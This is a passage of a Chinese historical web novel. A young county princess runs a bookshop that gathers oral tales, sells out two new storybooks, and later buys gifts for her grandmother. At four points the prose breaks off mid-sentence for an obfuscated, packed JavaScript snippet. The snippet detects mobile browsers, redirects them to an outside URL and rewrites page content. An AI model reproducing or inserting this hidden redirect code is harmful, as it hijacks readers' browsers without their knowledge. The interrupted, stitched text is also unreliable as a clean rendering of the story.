这天她实在是坐不住了，反正现在新话本还寥寥无几，她打算先去研究下怎么征集口述故事，提前做准备，省得李铮问时，什么也答不出来。 张娘子其实也是头一回听说口述故事，她认为“口述”这两个字代表的是收集的方法，最重要的还是要落到故事上去。 这主意最开始是桂丫提的，她爱和人聊天，时不时能听到有意思的故事。那些人大多不识字，但是有讲故事的能力。 有的故事是自己编的，有的故事是自己经历的。如果无人整理，这些故事过段时间就消失了。整理后放到故事报，看报的人得了乐趣，提供故事的人也得了银钱。 这样一想故事报大有可为。 至于要怎么做，张娘子觉得自己应该去人群中问问，亲自和那些会讲故事的人聊聊。 既有了思路，张娘子不想白白耽搁时辰。她当即快步下楼向张大掌柜请示。 张大掌柜见张娘子充满干劲的样子，欣然同意。 到了巷子里，张娘子有些怯，她并不是爱跟人聊天的性子。但是不去不行，自己都没接触过不识字却能讲出好故事的人，怎么可能把故事报做好呢。 深吸一口气，自己当初那么激动，这份工作既能跟文字打交道，又能补贴家用。现在怎么能因为胆怯就退缩。 路过的人看她一直停着不动，都有些犹疑地盯着她了。张娘子猜测，那些人担心她是拍花子。 走过不止几条巷子，张娘子脚都有些酸了，忽听旁边有小孩欢呼声。 拐进去，原来是一个老丈，面前围了一群小孩。 原来是要讲故事，张娘子连忙认真听，她没和那些小孩挤在一起，站在隔了有七八步远的地方。 这老丈也没多看张娘子，直接开讲了。 ----------------- 这是一个关于黑狗妖的故事。 黑狗妖，原是土地庙前的野狗，可能是见得香火多了，突然有天它就开了灵窍，变成人了。 最开始黑狗妖很笨拙，什么都不懂，看到来庙里祈福的人都穿了衣服，就去山下院子里拿，引得村里人狂追，破口大骂；慢慢地他就知道了，山下的地盘都是有主的，不能随便动。 黑狗妖也不敢胡乱蹿了，他是个好学的妖，于是天天悄摸地跟在村民屁股后面偷学，日复一日总算学会了不少做人的道理。 重新积攒了胆量，这只黑狗妖打算去县城闯生活了。 一到县城，这只没见过世面的黑狗妖，差点激动得当场变回原型，城里都是好闻的味道。 可惜了，黑狗妖是个穷妖，他一文钱也没有。他又想做个好妖，不愿偷抢。 在街上胡乱溜达了两天，他总算发现了挣钱的门道，就是表演卖艺。 没想到因为他表演得太过吓人，有人太过震惊，直接报官了。 黑狗妖头一回卖艺，就以失败告终。好在这回他碰到了好官，不光人好，还有头脑。 好官看他眼神单纯，不像骗子，一番沟通之后，总算摸清了来龙去脉。知道了黑狗妖的身份，也知道了他鼻子很灵。 好官担心黑狗妖被坏人利用，便想教他些做人的道理。于是黑狗妖就这么留在了衙门，一边学做人，一边跟着断案。 你别说，这黑狗妖鼻子灵极了，还有一手训狗的好本事。 自此这城里，大小案子都少了很多，毕竟没人躲得过黑狗妖和他的一群手下。 因为屡破奇案，最后一人一妖被官家召见。大家都太好奇到底是怎么做到的了。 不过好官没透露狗妖的存在，他担心有人会害狗妖。 他告诉大家，是因为他发现狗鼻子很灵，之后又恰好碰到一个很会训狗的，他们一起利用狗鼻子去追踪犯人。 官家听到答案很是惊奇，特意封黑狗妖为“训狗大师”，又把好官调到京城来。 之后一人一妖继续一起断案。好官的家人也都非常佩服黑狗妖，虽然有些疑惑黑狗妖为什么一直不结婚，但也尊重了他的意愿。 ----------------- 故事讲完了，张大娘子和底下的小孩儿都听得意犹未尽，很是满足。 小孩儿们逐渐散场，张娘子连忙上前跟这老丈打招呼：“老丈，我是城里五柳斋的，你这故事从哪来的呀。还有别的故事吗？” 老丈看她一眼，有些纳闷，但这也不是什么秘密，便回答了：“故事都是我自己闲来无事想的，你为何问这个？” 张娘子：“那你愿不愿意把故事交给我们铺子。我们最近打算收故事，不会写字也没事，我们安排人来写。要是印出来的话，上面还会写上你的名字。” 老丈：“老朽活了这么些年，还没见过收故事的。哪有人会为这个付钱。你莫不是个骗子？” 张娘子：”我是五柳斋书铺的，东家是福安县主，她愿意付钱来买这些故事。我们以后打算做个故事报。刚才你讲的故事，我听了感觉很不错。如果你有意愿，明天可以来我们铺子详谈，到时候你就知道我不是骗子了。” 想了想又补充道：“你要是还有别的故事那就更好了。我感觉老丈你是喜欢讲故事的人，那些小孩听了故事也没钱付，但我看你讲得很投入。” 老丈：“老朽平日最爱编故事，讲故事。年轻时忙着挣钱，这几年日子越来越好，我就闲下来了。可不得好好讲个过瘾，要不然这辈子就白活了！” 老丈：“如果是真的，那我自是愿意。这是桩大好事。” 张娘子：“行，那你明日到铺子里来找我。我姓张。” 老丈：“喊我曾老丈就行。” 从曾老丈那离开后，张大娘子又和不少人聊了聊，不过没发现特别有意思的故事，看来刚才碰到曾老丈是走了好运。 这些人大都是讲自己家无赖亲戚的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17062440|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不过她看这些人讲得开心，旁边听着的人也开心，说明还是有受众的，虽然自己不感兴趣。以后可以考虑放到故事报上。 但是初期就没有黑狗妖的故事吸引人了，尤其是对当前买得起故事报的人来说。 还有被骗合集，之前县主就提到过一次，这个主意也不错。 越想思路越多，越想越兴奋，张娘子打算今天就找李铮汇报。 到了安王府大门，看着大门儿她脚步有些停顿，但还是深吸一口气，对着门房说：“我是五柳斋的张娘子，劳烦跟县主通禀一下，我是来回话的。 门房笑着看她一眼：“你先在此候着，我去去便回。” 花厅内，李铮正在跟着张氏理事。 听到门房仆人的话，张氏忍不住打趣李铮：“我们阿铮也开始忙起来了。去忙你的吧，这里不过是些日常事务，不用一直拘在这儿。” 李铮点头应下，吩咐仆人把张娘子带去了花园：“最近是开始琢磨口述故事了吗？” “给县主请安。”张娘子恭敬回道：“是的县主，这几日铺子正好不那么忙，换了润笔费算法之后，新话本还没收多少。估摸着要再等几日，才能多起来。” “所以这两日我就去走街串巷，寻摸好故事。正好今日碰见一老丈在给小孩儿讲故事，一个黑狗妖和好官一起探案的故事。还挺有意思，我跟他约了明天到铺子详谈。” “我在想我们第一期故事报，肯定要做大家最愿意看的。这种妖怪和人的故事，既新奇，又有趣，老老少少都能看。” 听张娘子一口气不停歇的说完，李铮点了点头：“妖怪和人的故事？不是换个花样的狐狸精和书生吧。” 张娘子：“自然不是，只是知己朋友。具体的故事，县主您感兴趣，明天可以来书铺听曾老丈讲。我今天就不事先透露了。” 李铮听完就放心了，她实在不想再看狐狸精和书生一见钟情的故事了。“接下来你还是优先忙话本。等收到有意思的话本后，你和张大掌柜定个节点，提前宣传，省得到时候我们都刊刻好了，别人还不知道消息。” “好的，县主。”张娘子：“还有一事需要请示，到时若是收上来的稿子数量太多，我一人只怕短时间审不过来，可能会误了时日。” 李铮：“无事，我已额外找了一个。到时你做初筛，初筛之后他来复核。你们两个都认可的，优先刊刻。不过他只是临时帮忙，不是个长久之计。你可以贴个告示，再给自己雇个帮手。开销，从铺子里支便是” 张娘子点头应是，退下了。 ----------------- 接下来几天，李铮又开始慢悠悠起来。她有信心书铺收到的稿子会越来越好。 虽然吃饭时安王偶尔会出主意，问要不要雇几个书生往铺子里投稿。 李铮丝毫不为所动：“爹，你可千万别找。写话本哪里会这么快，我这消息才刚放出去几天。这事急不来，你不要慌。” 安王摸了摸胡须：“我哪里会慌。不过阿铮你竟然不急，不错不错，有大将风范。” 13. 正式发售 没过两天，张大掌柜便传了好消息，几十本话本陆续送到了书铺。 李铮到书铺时，三人正在二楼商量事情，见她来了，忙起身请安。 没多寒暄，她开口便问：“现下有多少质量过关的？” 张娘子：“现下探案类话本是最多的，五本；风月类次之，三本。不如每类择一两本，先开印。” 桂丫闻言补充：“我与张娘子想法一样，尽量早些开印。眼下大家比较关注我们，投稿一直会有新的，总等着不是办法。日后倒可以设定个收稿期限。” 张大掌柜：“说到期限，不妨定个规矩，话本投递后七日内给答复。合格的，再定个刊刻期限，比如一个月，这样就不会都积压了。” 张娘子和桂丫听完连连点头，最近因为没有明确的期限，她们一直不确定什么时候算好。 李铮点头赞同，语气笃定说道：“这个章程不错，既不积压也不拖沓，就这么来吧。不过记得宁缺毋滥。” 微微蹙眉想了想，她又问道：“一册话本做雕版，现下要多久。” 张大掌柜：“一个熟手约莫二十天的功夫。书铺现下有四个熟练刻工，还有两个学徒打下手。” 李铮：“待会把选出来的话本拿给我看下，同时对外开始宣传，十天后正式发售，探案、风月各一本。每本先各印一百册。之后若有可用的话本，就逢十发售。还是那句话，宁缺毋滥，如果没有就留空。” “我今天会敲定印哪本。你们让刻工做好准备。现下书铺话本变成了分成制，你们三人的月例也会跟这个挂钩。同时书铺其他杂工，月银上涨两成。以后若书卖得好，就再涨。” 说完，她又转身看向张娘子，沉声道：“张娘子，审稿是最关键的环节，容不得半点马虎。后续忙不过来，就再招审稿人。绝不能因人手紧张，就降低审稿要求。新人来了后，你们分工，各管一类即可。” 见李铮语气严肃，张娘子当即答道：“县主放心。” 任务安排已经清晰，接下来就是执行。 倒计时第十天。 李铮离开书铺回府，她今日要选出两本刻印。 张大掌柜下楼，先跟雇工们宣传涨薪的好消息，再一一分派活计。 张娘子去了静室，开始拟宣传词。 桂丫则在一楼灵活跑腿。 申时。 李铮敲定最终刻印的话本，送到书铺。 张大掌柜接了书稿，当即送到后院，刻工开始雕版。 张娘子收到消息，开始确认终版宣传词。 倒计时第九天。 书铺门口换上了两张崭新招贴，小孩儿走街串巷宣传。 问渠居士新作《水榭迷案》到店！水榭惊现命案，嫌犯遁入水中，生不见人，死不见尸。难道他真能凭空消失？ 《月满西厢》从别有用心，到假意掺真情。最终是情定三生，还是相忘江湖？ “听说了没，五柳斋要上新话本了。” “什么话本！好看不！” “还没发售呢，还要等八九天呢。” “怎么还要等啊，我都等了好些天了。” “这也急不来，我怀疑以后好写手都去五柳斋了，毕竟钱多。” “郎君，五柳斋的话本过几天发售。我们要买吗？” “买，当然要买。” 倒计时第五天。 《水榭迷案》刻印完成。 倒计时第一天。 《月满西厢》刻印完成。 正式开售第一天。 一大早，五柳斋的门外就被围得水泄不通，有真想买的，有看热闹的，还有各家书铺偷偷派来的伙计。 辰时到了，张大掌柜换上了簇新的蓝袍子。 “各位客官，走过路过，不要错过。本店最新发售话本，大让利，三百文一册。买不了吃亏买不了上当。” “什么！只要三百文。”有人惊呼。 “原来不都是四五百文一册吗？” 有人冲张大掌柜大喊：“你们该不会换了不好的墨和纸吧。” “各位客官放心，本店用的都还是原来的纸。” 有些人还在问，有些人已经去排队。 有些原本在纠结，一看这么多人排队，而且才要三百文，觉得自己买到就是赚到，也跟着排队。 “给我来一本水榭迷案。” “我要一本月满西厢。” “一样给我来两本。” “我要两本水榭迷案。” “不好意思客官，水榭迷案仅剩一本，您还要不？” 后面排队的人一听急了：“他不要给我，我要。” “我要，一本我也要。” “月满西厢已售罄。” 张大掌柜扯着沙哑的嗓子大声说道：“今日已售完！有意愿的可以付个定金登记，小店已经安排加印。” “怎么就已经售完了？” “这才多长时间！” “水榭迷案，五百文，有愿意转手的不。” 各家书铺伙计也目瞪口呆，这才半个时辰不到，话本就售罄了，而且还有这么些人排队，赶紧回去给自家掌柜回话。 买到的人，一听售罄更兴奋了，露出令人牙痒的笑容。 正式开售第二天。 某宅院。 一娘子眼里泛红，手里不住地拧着手绢，对旁边的丫鬟说道：“裴郎君和顾娘子就是最般配的，她俩怎么能就这么分开呢？原本两人是仇敌，好不容易互诉衷肠，怎么就忽地各自定亲了。” “明明只要说出真相，怎么能因为家主威胁，就默默承担，各自定亲呢？只要说出来就好了，说出来就可以一起解决。” 一直在跟着看的丫鬟，想了想说道：“大娘子，是不是他们也知道，就算在一起了，以后还会有更多的风波，还不如现下分开，省得以后成怨偶。” “若是我以后定亲，男方和我家不对付，就算他人好，我也不愿意的。毕竟我得天天对着他家一大家子。” 这娘子听完更伤心了：“他们两家怎么就是仇敌了呢。” 呆坐了一会儿，她突然眼前一亮，自言自语道：“应该让她们也都看看这本书，不能就我一人难过。” ----------------- 某书院。 几个书生围在一起，正在聚精会神看《水榭迷案》，突然上课铃响了。 这节课是最枯燥无聊的训诂章句课，台上夫子正在逐字逐句讲解经书的字义、词义和句读。 台下学子，有的昏昏欲睡，有的认真听讲，还有几个在抓心挠肺想话本情节，他们刚才正好看到关键处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065624|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，结果突然上课铃响，又不敢上课偷看，只能强忍着，好似身上有蚂蚁。 漫长的一课总算结束了，夫子一走，这几位学生就欢呼起来，赶紧凑到一团，接着看。 “天哪，这问渠居士是怎么写出来的。” “我怎么都想不到，这人竟然藏在水中，用芦苇杆呼吸。” “问渠居士一定见多识广。” “你们几个这是在看什么。” “问渠居士新出的话本，五柳斋印制。只要三百文。” “咦——竟只要三百文？” “可能福安县主不差钱吧，她还把话本的润笔费改成了分成制，每卖一本，就多拿一本的钱。” “你说我怎么就不会写话本呢。” ----------------- 书铺内，大家激动地手舞足蹈，他们筹备这么些天，看似笃定，其实有些慌张，心里都憋着一口气，现下总算心里踏实了。 李铮看着眼前欢呼的众人，嘴角带着笑意，抬手轻拍两声，扬声说道：“最近大家都辛苦了，今日上工的人，每人发两百文！诸位放心，只要书卖得好，年底分红不会少。” 众人一起欢呼：“多谢县主，县主长命百岁。” 李铮笑着摆了摆手：“行了，大家都去上工吧。” 众人脸上带着笑，慢慢散开，开始各忙各的。 二楼静室。 李铮：“张大掌柜，接下来每日先每本印制一百册，直到不能当日售罄再减量。张娘子，继续挑选新话本，要一直推陈出新。所有书，都要打上五柳斋的招牌。” 张大掌柜和张娘子闻言，齐齐点头应是。 李铮：“口述故事，暂且只在外面放上征集招贴就行，其他暂时不急，等话本步入正轨再说。” 差点忘了要送人的话本，李铮连忙停住脚步：“之前让预留的话本在哪，我要带走。” 张大掌柜连忙回道：“已经交给周嬷嬷了。” 马车前，李铮笑着吩咐道：“对了嬷嬷，待会让人给云秀、宝珠还有陆家，各送一份。余下我带回府里。” 周嬷嬷：“县主，您放心歇着，今天肯定累坏了。一会就让人去送。” 总算回到家，李铮顾不上回自己院子，径直就往正堂去了。 安王一见李铮，就笑着打趣：“我们阿铮这仗，大获全胜。你们看吧，那些老家伙们，不知道多羡慕我。” 张氏看出李铮乏了，连忙喊她坐到跟前，又唤周围的丫鬟来：“快给你们县主捶捶背，最近肯定累得不轻。” 大口喝了口茶，缓了缓，李铮开始一边比划，一边说道：“你们没看到今天的盛况，店铺门口挤得水泄不通，话本没一会儿就卖完了。不过你们放心，咱家的我早让人留着了，每人都有份。” 两人被逗得开怀大笑。 安王：“阿铮你放心，你的话本，我回来和那些收藏品放在一起，保准谁来参观都看得到。” 李铮朗声应下，兴致冲冲地说道：“以后我出的话本，肯定要放满一整个书架！” 安王：“那可不能滥竽充数，”他又看向金管家，“回来专门打个书架放在收藏室。” 李铮斩钉截铁地说道：“绝不会滥竽充数。” 夫妇二人瞧着她这股子劲头，一时又好笑，又骄傲。 14. 发售后续 “保佑保佑，今日可千万让我买到。我家娘子已经催了几回。” “再抢不到，我家掌柜都要扣我月钱了。” “你们说今日能轮到咱不，都排了两天了，怎么还有那么多人排队。” 五柳斋门口，长长的队伍如一条溪流，缓缓向前流动。 路过的百姓看到队伍这么长，有的还会好奇问道：“兄台，这是在排什么队，怎么这么多人？” “这五柳斋，新上了话本，说是好看的很，我已排了两日，还是没买到。” “你看过？”路人有些惊奇。 这人摆摆手：“我还没买到呢，反正看过的人都说好看。” “更重要的是，他家话本比其他家便宜，一册只要三百文。换句话说买到就是赚到。” “那你不买岂不是更赚。” “你这话说的，我这人就喜欢看话本。” 李铮没去书铺，她最近忙得脚不沾地，已经好几日没出去吃饭。索性喊上云秀和宝珠，三人去金玉阁小聚。正好最近她靠自己挣了钱，想找人分说分说。 到了雅间，见两人都没到，李铮便去到窗边，手搭窗沿，悠哉地往楼下望。 挑着担的老翁、背着花的女娘、卖糖画的老婆婆，糖画摊儿边上还围了一群小孩，有拿着糖画来回瞅的，有正等着做的。人间百态，不一而足。李铮喜欢看这些。 又过了片刻，总算看到了二人身影，一个活泼，一个文静。 刚一碰面，李铮就迫不及待张开双臂，大声说道：“今日我来请客，都不要抢。这可是我头一回靠自己挣的钱，不是家中给的。你们放心，待会这顿饭必定色香味俱全，包你们满意。” 宝珠很是配合，发出夸张大呼：“我竟有朋友如此厉害，人生死而无憾矣——” 云秀抿唇浅笑，眉眼弯弯地瞧着她俩耍怪。 李铮拍了拍双手，笑意盈盈地说道：“你们两个，快来点评我出的话本！有谁敢说不好看，今日休想走出这道门。” 两人见她这幅强盗作风，笑得合不拢嘴。 宝珠：“我最喜欢那本《水榭谜案》，你们说问渠居士是如何写出来的，我百思不得其解。” 李铮：“三百六十行，行行出状元。他专写探案话本，肯定比我们强。” 提到问渠居士，她又想到个主意：“叮叮叮叮！” 见二人都看过来，李铮开始故作高深：“说到这问渠居士，我有一个秘密要告诉你们。” “什么秘密，快说快说。” “问渠居士，其实我们三个都见过。你们猜猜看他是谁？” 宝珠闻言，开始凝神细思。 云秀想了片刻，轻声说道：“问渠居士，是不是那天茶馆的老丈？” “你竟猜得如此快。”宝珠不可置信地看向云秀，叹了口气：“我这还在想，到底是哪位同窗，如此有才华。” 云秀开始不紧不慢解释：“我们都见过，会写话本，而且既然阿铮让我们猜，那应当是最近见过。要满足以上所有条件，我能想到的只有那天茶馆那个老丈。” “回答正确！”李铮笑道，“不愧是我们云秀，观察细致。” 云秀羞涩浅笑，没说话。 宝珠忽地拽了拽李铮的袖子，软声说道：“阿铮，既然你知他是谁，能否请他在书页帮我题个字，就写问渠居士。我愿意加钱。求你了阿铮，拜托拜托。” 李铮听完不禁眼前一亮，是的，自己用来收藏的话本，如果能有话本才人题字，那就更完美了，不过纸张要用更好一些的，这样才好收藏。 她向前探身一把搂住宝珠：“太好了阿珠，你提了个好点子。回去我就让书铺掌柜去做。等做好给你送去，不用出钱，这本我请客。” 又看向云秀：“阿秀你也有。” 李铮：“差点忘了《月满西厢》，这本你们感觉如何。我当时看得难受极了，几乎没看过这么悲的话本。但是看完会时不时回想，不像一般话本，看完就忘。所以最终还是选了这本，想让大家都来看看，感受一下。” 云秀：“虽然结尾是各自婚嫁，但我想这已是最好的选择了。” 宝珠：“我看时也是忍不住掉泪。这两日我出去玩，碰到的朋友，有看过的，有还没看的。看完之后，大家都是一边哀叹结尾，一边翻找前文。总之这两日过得十分充实，一点都不无聊。” 李铮闻言哈哈大笑：“那就太好了。我开话本铺就是为了这个。” 她们又聊了好久，直到三人都有些饿了，才开始点菜。 点菜时，想到刚才聊得这么废寝忘食，三人不约而同笑起来。 离开金玉阁，李铮没去闲逛，直接去了书铺。 书铺人流比往常多，熙熙攘攘。有人在询问润笔费算法；有人没买到话本，在和伙计掰扯；还有人在闲逛。几个认出李铮的客人，连忙低头请安，没大声声张。 穿过人流，李铮去了二楼。张大掌柜和桂丫紧随其后。 三人径直去了张娘子的办公处，那里几乎变成了默认的议事之所。 李铮坐在主位，目光扫向三人：“有个新主意，往后书铺话本，除三百文一册的常规刊本外，再各做三十册的锦帙精装本。其中五册我带走，余下的留在店里售卖。布料取中等蜀锦便好，衬上硬木夹板，价格暂时定为一两银子一本。” “此外，再让话本才人给精装本题个字。常规本也让他们题一些，约莫三十本即可。” 旁边的张大掌柜和桂丫，越听眼睛越亮，嘴角忍不住上扬。他们已经能想到，众人争相抢购的画面。肯定有不少富家郎君、娘子想要题字版。 桂丫：“县主，不如咱们再做个抽奖活动。只要是买了话本，就能抽，中奖者额外赠送一册题字版，也省得前面买的客官抱怨。这样也会更热闹。” 张大掌柜听完又补充道：“可以先贴告示，让他们来领号，抽奖那天，我们安排专人来抽，抽到几号就几号中奖。省得到时大家排队抽奖，占用太多时间。” 李铮：“这主意不错，就按这个来做。” ----------------- 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076896|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两日，孙才人一直有些恍惚，他从没想过，自己的话本竟能卖得如此火爆。 每日都有人排队买，他之前也写过热销话本，但和这次相比，还是小巫见大巫。 夜里，孙才人翻来覆去，睡不着。披上衣服走到小院，他抬头望着月亮，不自觉开始回想自己这大半辈子。 年轻时庸庸碌碌，到了老年，家里人接连去世，只剩下一个小孙子。他种不来田，干不来苦力活，只好靠写话本为生。书铺压价重，但他没法子，只能一本又一本写下去。 幸得遇到县主，虽然才卖几日，赚的钱却抵得上之前好几本，往后还会愈发多起来。 他做梦都想不到，自己的话本竟能卖得这般好，竟能赚得这么多。 他打定主意，明天就去给县主上香，保佑县主平平安安，长命百岁。 ----------------- 眼见着五柳斋生意越来越红火，书坊里的其他书铺态度各异。 有眼红的，但现在又不太敢动歪主意，毕竟也才刚卖两本，为这点钱不值当。再说了打狗还得看主人呢，这可是福安县主的书铺。 有不以为然的，觉得福安县主是一时脑袋发昏，才来整话本铺子。说不准，过几日玩腻就不干了，他们且忍忍，挨过这段时日就好。 还有干脆把话本停了，一心做经史子集的。 当然也有跟着学，怕手底下话本才人跑掉的，比如轩文堂的赵掌柜。 赵掌柜是个三十出头的圆脸妇人，脸上总是带着笑。她冲着边上的瘦高伙计开口：“顺子，今日咱们书铺，卖出去多少话本？” 顺子挤出一个艰难的笑：“掌柜的，今日只卖了六本，还都是冲着青松散人的名头买的。别的话本都没卖出去。” “怎会卖不出去？” “有客官来逛，翻了两页，就说我们的话本太老套，他都看厌烦了。那客官走时还白我两眼，说我们这卖得贵不说，还难看。只有青松散人的卖了出去，不过他的话本原就卖得好。” “掌柜的，我看青松散人，最近没来送新话本儿。”顺子攥了攥拳，迟疑片刻：“是不是他也想去五柳斋，您要不要去找他聊聊。” 赵掌柜听罢，无奈笑了：“也只有这个法子了。看来咱们书铺，也得考虑改成提成制，不然话本先生迟早要走，眼下不过是揣着心思，观望局势罢了。” 顺子有些羡慕，他已经听说，五柳斋的伙计月银涨了两成，还额外发了铜板。 但赵掌柜不是一般掌柜，在他没饭吃时，是赵掌柜雇了他，他不能忘恩负义。 琢磨了下，顺子又说道：“我们跟青松散人合作那么些年，想必就算和五柳斋比，润笔费差了一些，他也能接受。毕竟换个铺子还得再适应，万一福安县主只是一时兴起，到时岂不尴尬。” 书铺掌柜们，大都盼着福安县主是一时兴起。不过书铺伙计就不一定了，他们这些雇工现在都知道五柳斋的待遇好，只盼着福安县主的书铺能再多招些人。 现下，他们不是县主的人，日后可就说不准了。 15. 准备礼物 安王府江老夫人，明天将归府。 这是位传奇人物，原是五品武官之女，出身并非名门望族。因着老安郡王喜欢能一起舞刀弄枪的，两人还是定亲成婚了。 婚后，两人经常一块舞刀弄枪，好不快活。旁人有时会说些酸言酸语，但二人均不放在心上，依旧该干嘛干嘛，兴致来了，还能多吃碗饭。 这么些年，老安王也没纳妾，可惜前两年，老安王突然因病去世。他这一走，江老夫人精气神明显不如以前。 好在安王夫妇孝顺，主动提议，让其多外出散心，这才好转。 时不时她会写些信寄到家中，李铮看话本，最开始就是从游记开始。 一年到头江老夫人在京城基本能住上半年。偶尔也能听到些风言风语，不过他们一家人都不甚在乎，自家又不靠名声吃饭，而且宗室旁支，要那么好的名声作甚。 还不如潇潇洒洒一辈子。 在外游历，江老夫人一般是随便选个小城镇，住上一段时间，体验当地风土人情。 有的地方口味偏甜，有的地方口味偏咸。同一个名字，落在不同地方，可能就是完全不同的东西。 一听到江老夫人要回府的消息，安王府就动起来了。 张氏赶紧安排仆人干活。交代仆人，务必再精心打扫一遍老夫人的院子，该晾晒的晾晒，该擦洗的擦洗，不得用的物件就再买新的。 虽说平日也会每天打理，但总觉得还不够。自家能过得这么安稳，没有乱七八糟的人，多亏了老郡王夫妇教子有方，也多亏了江老夫人这颗定海神针。 姐弟俩简直望眼欲穿，从二月初到现在快两个月，祖母终于要回来了。 她俩悄默嘀咕了一会，也不知说了什么，当即就要一块出门，给江老夫人买礼物。 李骁已经好些天没出去逛街，还没下马车他就激动坏了，路上一直掀开车帘东张西望。李铮看不过眼，还敲了两下他的脑袋。 一到街上，两人图方便，直接下了马车。有百姓通过马车认出二人身份，连忙低头避让。 下了马车，李铮抬眼看向周围铺子，随即往一家看着最合眼缘的首饰铺走去。 铺子里人不多，李铮打算用自己这段时间挣到的钱买，主打一个心意。李骁是特意找安郡王支了二十两银子。 两人看着琳琅满目的首饰，都有些茫然，祖母适合什么首饰，她俩实在是看不出来。对视一眼，深觉买首饰实在太难为人，还是买点别的。 首饰铺伙计简单招呼之后，看两人没有问话的意思，也没继续搭话，只静静跟在身后。 忽地灵光一闪，李骁想到自己要买什么了，连忙扯了扯李铮的衣袖：“阿姐，你有主意了吗？我打算给祖母买个银酒壶。祖母有时会喝酒，这个肯定用得到，而且不容易出错。” 见弟弟已经想好，李铮指尖不住摩挲手镯，忽的掌心一拍，眸光亮起：“我买个螺钿官皮箱，放马车或卧房，祖母天天都能用到。” “我的银酒壶也是。不过咱俩去哪买呢。” 一旁伙计见状笑着搭话：“两位贵人，要是想买漆器，锦绣坊有家沈记漆器，他家手艺精美，从不偷工减料。银酒壶可以去吕记银作，他家出过好些新奇的银酒壶。” 随手赏了几颗银瓜子，两人便出门去了。 伙计嘴角止不住上扬，怪不得那些开店的都喜欢福安县主。 离开首饰铺，姐弟二人，马不停蹄去了锦绣坊。 先到了吕记银作。两人一进门，就有青衫伙计上前热情迎接：“两位客官随便看，随便问。我们吕记银作几十年老店了，从不偷工减料。” 李骁一边看着墙上摆的银器，一边问道：“有银酒壶吗，要方便携带，外出游历用。” “那您可来对地方了，城里我们铺子做银酒壶最在行。要方便携带，那推荐您买扁瓶的，我们还做了一个挂耳，方便您固定。不管是挂在身上，还是挂在马车上，都很方便。” “拿来我瞅瞅。” 青衫伙计转身离开，不一会拿着几个尺寸不等的扁平酒壶出来，指着其中一个问道：“您看这个可还满意，小巧玲珑，只有两指厚，瓶身还做了缠枝纹的图案，防滑好拿。” “姐，你看这个怎么样。” 李铮：“我觉得祖母肯定会喜欢。不过只要我们两个诚心送，祖母肯定都喜欢。”话还没说完，自己就没忍住先笑了。 李骁扭头看向伙计：“那就这个吧，帮我选个新的包起来。” “好嘞，您这么干脆，小的也给您报实诚价，二十两，绝不偷工减料。” 李骁没还价，直接点头同意。 那伙计没料到李骁这么爽快，脸上立马都是笑，动作麻溜地去拿新酒壶去了。 买好一样，两人就不那么着急了。因着两家店铺离得不远，索性一边逛，一边走过去。 眼前这条街，两边尽是金银作坊，漆器铺，还有些卖绫罗绸缎的布庄。各家招牌比常规铺子精致考究得多。 前面几家铺子强忍着没买，逛布庄时实在按耐不住，又给全家人一人带了一匹。 丫鬟将方才买的布料送到马车上，两人则是径直进了沈记漆器。 因着这会光线好，漆器铺子里不少漆器光泽璀璨，人影一动，漆面色泽还会来回变换。美得让人挪不开眼。 越看越喜欢，李铮看向伙计：“可有现成的螺钿官皮箱，图案最好是松鹤延年，尺寸不要太大，外出游历用。” 伙计脸上堆着笑，上前招呼：“客官，您要的松鹤延年官皮箱，小店有的，前几日刚做好，我拿来给您看看。” “这般大小可合您心意？只有九寸长，内里分三层，两侧镶嵌了铜环提手，便携得很。您放在马车一角，装些文房四宝或日常用品，别提多方便。” 李铮拉开抽屉看了两眼，又绕着箱子转了一圈，越看越觉精美，也不知这手艺人是怎么做出来的。 “要价几何？” “四十两您带走。” “行，包起来吧。” 回到家中，安郡王和张氏正在正堂叙话。见两个孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080208|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子回来，笑着问道：“看来今日买了不少东西，这是都买了什么？” 李铮：“我们去给祖母买礼物，路过布庄，还一人买了一匹布，全家都有。” 